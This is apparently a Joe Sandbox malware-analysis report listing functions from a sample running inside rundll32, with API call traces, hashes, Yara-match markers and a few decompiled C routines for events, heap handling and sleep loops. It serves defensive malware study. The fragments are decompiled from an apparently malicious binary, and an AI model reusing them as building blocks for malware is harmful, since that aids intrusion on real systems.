                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileHeap$AllocateCloseCreateErrorFreeHandleLastSizelstrlenwsprintf
                          • String ID:
                          • API String ID: 4042893638-0
                          • Opcode ID: 1c10990b6acd4f99c5547d4c844c843485e627d06e3f81e4d316cbbc0d4c1438
                          • Instruction ID: 32b1bab5b5af596e73c97452e70fc164beb6e60c6db15e98c89696b56905f3c7
                          • Opcode Fuzzy Hash: 1c10990b6acd4f99c5547d4c844c843485e627d06e3f81e4d316cbbc0d4c1438
                          • Instruction Fuzzy Hash: BFF0A9715022147BD7111E66DC88FDF7E5EEF45765F148119FA4A92080D634765096E0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB88FA Relevance: 6.0, APIs: 4, Instructions: 41memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • InterlockedExchange.KERNEL32(04CDA060,00000000), ref: 04CB8906
                          • RtlAllocateHeap.NTDLL(00000000,0000002A), ref: 04CB8921
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CB894A
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 04CB896B
                            • Part of subcall function 04CBDC41: SetEvent.KERNEL32(00000000,?,04CC507B), ref: 04CBDC56
                            • Part of subcall function 04CBDC41: WaitForSingleObject.KERNEL32(?,000000FF,?,?,04CC507B), ref: 04CBDC76
                            • Part of subcall function 04CBDC41: CloseHandle.KERNEL32(00000000,?,04CC507B), ref: 04CBDC7F
                            • Part of subcall function 04CBDC41: CloseHandle.KERNEL32(00000000,?,?,04CC507B), ref: 04CBDC89
                            • Part of subcall function 04CBDC41: RtlEnterCriticalSection.NTDLL(?), ref: 04CBDC91
                            • Part of subcall function 04CBDC41: RtlLeaveCriticalSection.NTDLL(?), ref: 04CBDCA9
                            • Part of subcall function 04CBDC41: CloseHandle.KERNEL32(00000000), ref: 04CBDCC5
                            • Part of subcall function 04CBDC41: LocalFree.KERNEL32(?), ref: 04CBDCD0
                            • Part of subcall function 04CBDC41: RtlDeleteCriticalSection.NTDLL(?), ref: 04CBDCDA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseCriticalHandleSection$FreeHeap$AllocateDeleteEnterEventExchangeInterlockedLeaveLocalObjectSingleWaitlstrcpy
                          • String ID:
                          • API String ID: 1103286547-0
                          • Opcode ID: da24118f5644396ea2a006051d95514a9819e4325dee610ff966383536a21a42
                          • Instruction ID: df2412608e3a34b823be84c5b77484d407a4efa7889accd76b2d7a39d7c50efb
                          • Opcode Fuzzy Hash: da24118f5644396ea2a006051d95514a9819e4325dee610ff966383536a21a42
                          • Instruction Fuzzy Hash: 7CF0C23974221077EA312A21AC0DF863F2ADB85B25F040014F746EB280DA7ABC05D7E4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4A4B Relevance: 6.0, APIs: 4, Instructions: 41filestringsynchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • lstrcatW.KERNEL32(?,?), ref: 04CC4A5D
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000,?,?,00000000,00001000), ref: 04CBF3DB
                            • Part of subcall function 04CBF39B: GetLastError.KERNEL32 ref: 04CBF3E5
                            • Part of subcall function 04CBF39B: WaitForSingleObject.KERNEL32(000000C8), ref: 04CBF40A
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 04CBF42D
                            • Part of subcall function 04CBF39B: SetFilePointer.KERNEL32(00001000,00000000,00000000,00000002), ref: 04CBF455
                            • Part of subcall function 04CBF39B: WriteFile.KERNEL32(00001000,00001388,?,?,00000000), ref: 04CBF46A
                            • Part of subcall function 04CBF39B: SetEndOfFile.KERNEL32(00001000), ref: 04CBF477
                            • Part of subcall function 04CBF39B: CloseHandle.KERNEL32(00001000), ref: 04CBF48F
                          • WaitForSingleObject.KERNEL32(00002710,?,00001000,?,00000005,?,04CBE4AF,?,?,00001000,?,?,00001000), ref: 04CC4A80
                          • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,04CBE4AF,?,?,00001000,?,?,00001000), ref: 04CC4AA2
                          • GetLastError.KERNEL32(?,04CBE4AF,?,?,00001000,?,?,00001000), ref: 04CC4AB6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$Create$ErrorLastObjectSingleWait$CloseHandlePointerWritelstrcat
                          • String ID:
                          • API String ID: 3370347312-0
                          • Opcode ID: 6e788d299d29cbaaba2c8e3a633ae38e99675ac860acf243d252b9e201e60b34
                          • Instruction ID: 88275914dc7fe7f90174b55e68d9f155da1142ca56c391d08bde3a4895e76cdf
                          • Opcode Fuzzy Hash: 6e788d299d29cbaaba2c8e3a633ae38e99675ac860acf243d252b9e201e60b34
                          • Instruction Fuzzy Hash: D8F0C239206204FBEB155F61EC19F9A3B66EF05710F148128FA02D81D0E77A7A219BAD
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCD5F3 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CCD601
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,04CBDB8C,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000), ref: 04CCD616
                          • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,04CB3EC6,?,?), ref: 04CCD623
                          • CloseHandle.KERNEL32(?,?,?,?,04CB3EC6,?,?), ref: 04CCD635
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CreateEvent$CloseHandlememset
                          • String ID:
                          • API String ID: 2812548120-0
                          • Opcode ID: 7c8a1a636f9fbf71f68bb04af4817e5b3de62e50695a46dd0c506fd38ebd20aa
                          • Instruction ID: efffcaed6b9f2844de20e81608c9fbdfff1f1371384415e507826398a1a7bfbd
                          • Opcode Fuzzy Hash: 7c8a1a636f9fbf71f68bb04af4817e5b3de62e50695a46dd0c506fd38ebd20aa
                          • Instruction Fuzzy Hash: 76F05EB510530C7FD3206F26DCC4C27BBADEB56298B118D2EF14782101D675B8058A60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7227F Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C7227F(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                          0x04c72289
                          0x04c7228d
                          0x04c722a2
                          0x04c722a4
                          0x04c722a9
                          0x04c722af
                          0x04c722b1
                          0x04c722b6
                          0x04c722c1
                          0x04c722b8
                          0x04c722b8
                          0x04c722b8
                          0x04c722b6
                          0x04c722cf

                          APIs
                          • memset.NTDLL ref: 04C7228D
                          • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,761F81D0,00000000,00000000), ref: 04C722A2
                          • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04C722AF
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?), ref: 04C722C1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: CreateEvent$CloseHandlememset
                          • String ID:
                          • API String ID: 2812548120-0
                          • Opcode ID: cd097af1094338778e28f041649900673fe49d79b3a3bfde5fd5d11ae6ffef6b
                          • Instruction ID: 5f5201cada1e4746f467b620e7ce25015a35a2692752edc786db76c6e021206d
                          • Opcode Fuzzy Hash: cd097af1094338778e28f041649900673fe49d79b3a3bfde5fd5d11ae6ffef6b
                          • Instruction Fuzzy Hash: D1F05EF1104708BFE3206F62DCC4C3BBBADEB462A8B114D6EF14292511D675F8488A70
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC4AC4 Relevance: 6.0, APIs: 4, Instructions: 39filesynchronizationpipeCOMMON
                          Download Yara Rule
                          APIs
                          • CreateFileA.KERNEL32(C0000000,00000000,00000000,00000003,40000000,00000000,00000001,0000003A,04CB4BD6,000000FF,060DB7F0,?,?,04CCB7F2,0000003A,060DB7F0), ref: 04CC4AE0
                          • GetLastError.KERNEL32(?,?,04CCB7F2,0000003A,060DB7F0,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C,00000008), ref: 04CC4AEB
                          • WaitNamedPipeA.KERNEL32(00002710), ref: 04CC4B0D
                          • WaitForSingleObject.KERNEL32(00000000,?,?,04CCB7F2,0000003A,060DB7F0,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C), ref: 04CC4B1B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Wait$CreateErrorFileLastNamedObjectPipeSingle
                          • String ID:
                          • API String ID: 4211439915-0
                          • Opcode ID: 095a198b98c94c9f655c4df0b99c064846e2a9cc2c05cf2557bc3cfbd75af332
                          • Instruction ID: 271b735018d529f601058a815d5711d2980444e90ed3d5566c9b772a4d466342
                          • Opcode Fuzzy Hash: 095a198b98c94c9f655c4df0b99c064846e2a9cc2c05cf2557bc3cfbd75af332
                          • Instruction Fuzzy Hash: C4F0903AA02520BBD3341E65FC6CF5B7E26EF05375F118225FA09E61E0C6352C40C698
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD0DDD Relevance: 6.0, APIs: 4, Instructions: 38memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,?,00000000,04CB7BEE), ref: 04CD0DE2
                          • RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 04CD0DF7
                          • wsprintfA.USER32 ref: 04CD0E13
                            • Part of subcall function 04CCC01F: memset.NTDLL ref: 04CCC034
                            • Part of subcall function 04CCC01F: lstrlenW.KERNEL32(00000000,00000000,00000000,774CDBB0,00000020,00000000), ref: 04CCC06D
                            • Part of subcall function 04CCC01F: wcstombs.NTDLL ref: 04CCC077
                            • Part of subcall function 04CCC01F: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?,00000000,774CDBB0,00000020,00000000), ref: 04CCC0A8
                            • Part of subcall function 04CCC01F: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,04CBA645), ref: 04CCC0D4
                            • Part of subcall function 04CCC01F: TerminateProcess.KERNEL32(?,000003E5), ref: 04CCC0EA
                            • Part of subcall function 04CCC01F: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,04CBA645), ref: 04CCC0FE
                            • Part of subcall function 04CCC01F: CloseHandle.KERNEL32(?), ref: 04CCC131
                            • Part of subcall function 04CCC01F: CloseHandle.KERNEL32(?), ref: 04CCC136
                          • HeapFree.KERNEL32(00000000,00000000,00000000,000000FF), ref: 04CD0E2F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseHandleHeapMultipleObjectsProcessWaitlstrlen$AllocateCreateFreeTerminatememsetwcstombswsprintf
                          • String ID:
                          • API String ID: 1624158581-0
                          • Opcode ID: 85627e9102da433946927e70974064b982420cdc5ba126cdf6d607be47466061
                          • Instruction ID: 0287863413f4d8119bdb2f04fcb0bb282d49f8c42790e5e7c40ba6d1f269c150
                          • Opcode Fuzzy Hash: 85627e9102da433946927e70974064b982420cdc5ba126cdf6d607be47466061
                          • Instruction Fuzzy Hash: 41F08939602010BBD6211B2EFC0CF5B7BADDFC5725F150115FA06D6291D728AD05D6A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB6537 Relevance: 6.0, APIs: 4, Instructions: 30sleepmemoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CB6540
                          • Sleep.KERNEL32(0000000A), ref: 04CB654A
                          • HeapFree.KERNEL32(00000000,?), ref: 04CB6572
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CB6590
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                          • String ID:
                          • API String ID: 58946197-0
                          • Opcode ID: ed71bfbc397c18555c3d4d98e6a24dbf4a1cf589a772eeb7e121af2fae565ad1
                          • Instruction ID: 226ce630167448af331444f9c87d1cc86b0bd4b1ab16bacb20f4ea1ac0237466
                          • Opcode Fuzzy Hash: ed71bfbc397c18555c3d4d98e6a24dbf4a1cf589a772eeb7e121af2fae565ad1
                          • Instruction Fuzzy Hash: 9FF08278302240EFE7109F69EC49F9A7BA6EF20300F048414F586DA155C739FC54DBA6
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C77607 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C77607() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x4c7a30c; // 0x2c0
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x4c7a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x4c7a30c; // 0x2c0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x4c7a2d8; // 0x4e50000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                          0x04c77607
                          0x04c7760e
                          0x04c77658
                          0x04c7765a
                          0x04c7765a
                          0x04c77612
                          0x04c77618
                          0x04c7761d
                          0x04c77621
                          0x04c77627
                          0x04c7762e
                          0x00000000
                          0x00000000
                          0x04c77630
                          0x04c77635
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c77635
                          0x04c77637
                          0x04c7763f
                          0x04c77642
                          0x04c77642
                          0x04c77648
                          0x04c7764f
                          0x04c77652
                          0x04c77652
                          0x00000000

                          APIs
                          • SetEvent.KERNEL32(000002C0,00000001,04C75E70), ref: 04C77612
                          • SleepEx.KERNEL32(00000064,00000001), ref: 04C77621
                          • CloseHandle.KERNEL32(000002C0), ref: 04C77642
                          • HeapDestroy.KERNEL32(04E50000), ref: 04C77652
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: CloseDestroyEventHandleHeapSleep
                          • String ID:
                          • API String ID: 4109453060-0
                          • Opcode ID: 26acd56aa76fd58c0a6359e692a45c5cc46f2acfb475e1fa64f1d2d52120c1f5
                          • Instruction ID: 06d620bb982ab39e548044a1ebdef4b6f44a3dc933d6bbd5738b975437b9d51e
                          • Opcode Fuzzy Hash: 26acd56aa76fd58c0a6359e692a45c5cc46f2acfb475e1fa64f1d2d52120c1f5
                          • Instruction Fuzzy Hash: C2F065B9B5231297EB106F39988CB5B37E9EB19BA2B040510BD15D3284CB39FD44D560
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD0B2C Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CD0B35
                          • Sleep.KERNEL32(0000000A), ref: 04CD0B3F
                          • HeapFree.KERNEL32(00000000), ref: 04CD0B6D
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CD0B82
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                          • String ID:
                          • API String ID: 58946197-0
                          • Opcode ID: 8624bc0393a52f4a6c737cc8b2ef829b26ce128ff48ace3bd38b2d9acee853dc
                          • Instruction ID: bbd6d20b1cb28a9e550752073a3f545c8d4ba00578fe39414055dfcb7c883c85
                          • Opcode Fuzzy Hash: 8624bc0393a52f4a6c737cc8b2ef829b26ce128ff48ace3bd38b2d9acee853dc
                          • Instruction Fuzzy Hash: C9F0F8BC246201AFE7189F19E989F2937A6EF4430AB14400CE906DB351D73DFC40CA11
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C772C7 Relevance: 6.0, APIs: 4, Instructions: 28sleepmemoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 37%
                          			E04C772C7() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x4c7a3cc; // 0x52495b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x4c7a3cc; // 0x52495b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x4c7a3cc; // 0x52495b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x4c7b827) {
					HeapFree( *0x4c7a2d8, 0, _t10);
					_t7 =  *0x4c7a3cc; // 0x52495b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}









                          0x04c772c7
                          0x04c772d0
                          0x04c772e0
                          0x04c772e0
                          0x04c772e5
                          0x04c772ea
                          0x00000000
                          0x00000000
                          0x04c772da
                          0x04c772da
                          0x04c772ec
                          0x04c772f1
                          0x04c772f5
                          0x04c77308
                          0x04c7730e
                          0x04c7730e
                          0x04c77317
                          0x04c77319
                          0x04c7731d
                          0x04c77323

                          APIs
                          • RtlEnterCriticalSection.NTDLL(05249570), ref: 04C772D0
                          • Sleep.KERNEL32(0000000A), ref: 04C772DA
                          • HeapFree.KERNEL32(00000000), ref: 04C77308
                          • RtlLeaveCriticalSection.NTDLL(05249570), ref: 04C7731D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: CriticalSection$EnterFreeHeapLeaveSleep
                          • String ID:
                          • API String ID: 58946197-0
                          • Opcode ID: af69c07bf5a7c17827a751e33e26467730b2cdc52c4bc5386c463db48ad3038a
                          • Instruction ID: cc5452298b7442bcce764be3b8b18f7ba61072d0d838b7acd704e5cd436ef86a
                          • Opcode Fuzzy Hash: af69c07bf5a7c17827a751e33e26467730b2cdc52c4bc5386c463db48ad3038a
                          • Instruction Fuzzy Hash: 11F0D4B8241201EFE7188F55E949F2937B6EB48341B049018FA06D7290DA39FC00DA25
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC6DE0 Relevance: 5.2, APIs: 4, Instructions: 238COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CC70AA
                            • Part of subcall function 04CC8F62: GetModuleHandleA.KERNEL32(?,00000020,?,00008664,?,04CBC71A,04CBC71A,?,04CC6EFA,?,04CBC71A,?,?,00000000), ref: 04CC8F87
                            • Part of subcall function 04CC8F62: GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FA9
                            • Part of subcall function 04CC8F62: GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FBF
                            • Part of subcall function 04CC8F62: GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FD5
                            • Part of subcall function 04CC8F62: GetProcAddress.KERNEL32(00000000,?), ref: 04CC8FEB
                            • Part of subcall function 04CC8F62: GetProcAddress.KERNEL32(00000000,?), ref: 04CC9001
                            • Part of subcall function 04CC1CE4: memcpy.NTDLL(?,?,?,?,?,?,?,?,?,04CBC71A,?,?,00000000), ref: 04CC1D58
                            • Part of subcall function 04CC1CE4: memcpy.NTDLL(?,?,?), ref: 04CC1DBF
                          • memcpy.NTDLL(?,?,?,04CBC71A,?,?,?,?,?,04CBC71A,?,?,00000000), ref: 04CC6F59
                            • Part of subcall function 04CBC4FB: GetModuleHandleA.KERNEL32(?,?,?,04CC7017,?,?,?,00000000), ref: 04CBC539
                            • Part of subcall function 04CBC4FB: memcpy.NTDLL(?,04CDA30C,00000018,?,?,?), ref: 04CBC5B5
                          • memcpy.NTDLL(?,?,00000018,04CBC71A,?,?,?,?,?,04CBC71A,?,?,00000000), ref: 04CC6FA7
                          • memcpy.NTDLL(?,04CCDD8F,00000800,?,?,?,00000000), ref: 04CC702A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memcpy$AddressProc$HandleModule$memset
                          • String ID:
                          • API String ID: 1554640953-0
                          • Opcode ID: 5078c84c4921f6e8eb6694391cd95e987781b840815b64436c8ea8e8f1d23a5d
                          • Instruction ID: 475853c43c40038fd395acafb583653d087aa672de175ed3a970a558b814e6aa
                          • Opcode Fuzzy Hash: 5078c84c4921f6e8eb6694391cd95e987781b840815b64436c8ea8e8f1d23a5d
                          • Instruction Fuzzy Hash: FAA129B1A0120AEFDB11DFA8C984BAEBBB6FF04304F14456DE911A7250E731BA54DF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC0901 Relevance: 5.2, APIs: 4, Instructions: 171memoryCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CC095D
                          • CloseHandle.KERNEL32(?,?,00000100,?,00000000,?,04CBC1F8,00000000), ref: 04CC09AB
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000094,00000000,04CD1616,00000000,04CBC1F8,04CCE6A0,00000000,04CBC1F8,04CC00C3,00000000,04CBC1F8,04CB306D,00000000), ref: 04CC0CB6
                          • GetLastError.KERNEL32(?,00000000,?), ref: 04CC0FB8
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseErrorFreeHandleHeapLastmemset
                          • String ID:
                          • API String ID: 2333114656-0
                          • Opcode ID: 647cc14ff90234e4a15c34f389a803f17077700a3562359f475d8c133def7519
                          • Instruction ID: ed0fdd13d3f6d4f10c894be1f72f3faac6cb5bba96a33dffba82f16521f5534a
                          • Opcode Fuzzy Hash: 647cc14ff90234e4a15c34f389a803f17077700a3562359f475d8c133def7519
                          • Instruction Fuzzy Hash: 10512B31708208FFEB116EE7DC41FAF366BAF44754F048029FA45A6080EA70BD917B62
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCA451 Relevance: 5.1, APIs: 4, Instructions: 110COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CCA477
                          • memcpy.NTDLL ref: 04CCA49F
                            • Part of subcall function 04CC7950: RtlNtStatusToDosError.NTDLL(00000000), ref: 04CC7988
                            • Part of subcall function 04CC7950: SetLastError.KERNEL32(00000000), ref: 04CC798F
                          • GetLastError.KERNEL32(00000010,00000218,04CD386D,00000100,?,00000318,00000008), ref: 04CCA4B6
                          • GetLastError.KERNEL32(00000010,?,00000000,00000318,?,?,?,?,?,?,?,?,00000010,00000218,04CD386D,00000100), ref: 04CCA599
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Error$Last$Statusmemcpymemset
                          • String ID:
                          • API String ID: 1706616652-0
                          • Opcode ID: a53479c8adb80ff0ba839a3f5fafbd062b7da7fe01aa6f5ab99de4386a99ae5f
                          • Instruction ID: 44b1ad044607a442bc1e1baf2e567663e6be17f9103c972f64dd2b6626f18bf5
                          • Opcode Fuzzy Hash: a53479c8adb80ff0ba839a3f5fafbd062b7da7fe01aa6f5ab99de4386a99ae5f
                          • Instruction Fuzzy Hash: D84191B1504705AFD721DF24CC45BABBBEAFF88314F00892DF999C6290E731E5159BA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBA78E Relevance: 5.1, APIs: 4, Instructions: 83memoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC63D1: lstrlenW.KERNEL32(?,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?,?), ref: 04CC63F5
                            • Part of subcall function 04CC63D1: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CC6407
                            • Part of subcall function 04CC63D1: wcstombs.NTDLL ref: 04CC6415
                            • Part of subcall function 04CC63D1: lstrlen.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?), ref: 04CC6439
                            • Part of subcall function 04CC63D1: RtlAllocateHeap.NTDLL(00000000,00000002), ref: 04CC644E
                            • Part of subcall function 04CC63D1: mbstowcs.NTDLL ref: 04CC645B
                            • Part of subcall function 04CC63D1: HeapFree.KERNEL32(00000000,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?,?,?), ref: 04CC646D
                            • Part of subcall function 04CC63D1: HeapFree.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000001,00000001,?,04CBA7C4,?,?,?,?,?), ref: 04CC6487
                          • GetLastError.KERNEL32 ref: 04CBA82D
                            • Part of subcall function 04CC3BAA: HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 04CC3C58
                            • Part of subcall function 04CC3BAA: HeapFree.KERNEL32(00000000,?,00000000,?,00000000,?,00004000,00000001,00000001,00000000,00000000,00000000,00000000,?,?,00000000), ref: 04CC3C7C
